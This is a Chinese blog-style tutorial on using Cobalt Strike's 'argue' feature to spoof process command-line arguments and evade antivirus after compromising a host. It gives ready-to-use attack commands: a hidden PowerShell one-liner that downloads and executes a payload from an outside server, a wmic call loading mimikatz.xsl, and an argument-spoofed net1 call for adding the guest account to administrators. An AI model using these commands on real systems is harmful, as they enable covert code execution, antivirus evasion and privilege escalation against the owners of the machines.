Cobalt Strike参数污染功能绕过杀软
查看CS后渗透参数,发现argue参数可以对进程创建进行参数污染,隐藏真正要执行的参数,以此来绕过杀软。感觉这个功能之后可能会要用到,写个短文简单记录一下
使用前提:CS会话需要是 administrator 或 system 权限
使用语法如下:
1 | argue [command] [fake arguments] |
注意:fake arguments 要比真实指令要长
原理就是在进程启动时会使用一些迷惑参数,如下
1 | wmic aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa |
进程被创建后便会暂停,CS会在内存中获取对应进程块的内存副本,然后在副本中找到CommandLine字段,替换成正常的命令行参数,如下
1 | wmic process list /FORMAT:mimikatz.xsl |
再恢复进程运行,当我们通过process Monitor来查看的时候,会发现创建进程的时候传入的参数是无意义的混淆的参数,但实际运行参数已在进程创建后替换,达到一个偷梁换柱的效果。
在CS创建web载荷投递,通过powershell一句话上线,上线指令如下
1 | powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:80/a'))" |
直接执行指令会被杀毒软件检测拦截
使用process monitor查看进程,可以看到指令是明文执行,很容易被杀软识别
使用 Cobalt Strike 的 argue 参数对 powershell 进行污染,由于 powershell 一句话上线指令比较长,因此污染的参数值要比上线指令还长才行
1 | argue powershell.exe xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx |
再运行argue
,查看参数污染结果
通过 execute 执行 powershell.exe(注意:使用shell命令执行不会成功,因为shell本质是cmd.exe /c arguments)
使用 process monitor 进行检查,可以看到参数污染成功,原本执行的参数已经无法识别,且杀毒软件未拦截 powershell.exe
powershell上线成功
注意:如果操作系统有限制,需要管理员权限运行cmd才能进行用户操作,则该功能无效
查看 guest 用户所属组为 Guests
将 guest 用户添加到管理员组,会被杀软拦截
使用 argue 参数污染 net1 程序(注意是net1,而不是net,因为net还是会把真正的参数传递给net1)
1 | argue net1 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx |
查看参数污染结果
依然是通过 execute 执行,由于污染的是 net1,因此也是通过 net1 执行用户操作
使用 process monitor 进行检查,参数污染成功
由于测试环境 cmd 需要管理员权限运行才能修改用户组,这里执行其实失败了。如果能执行成功的话是下面的效果,guest 用户被添加到管理员组,拥有管理员权限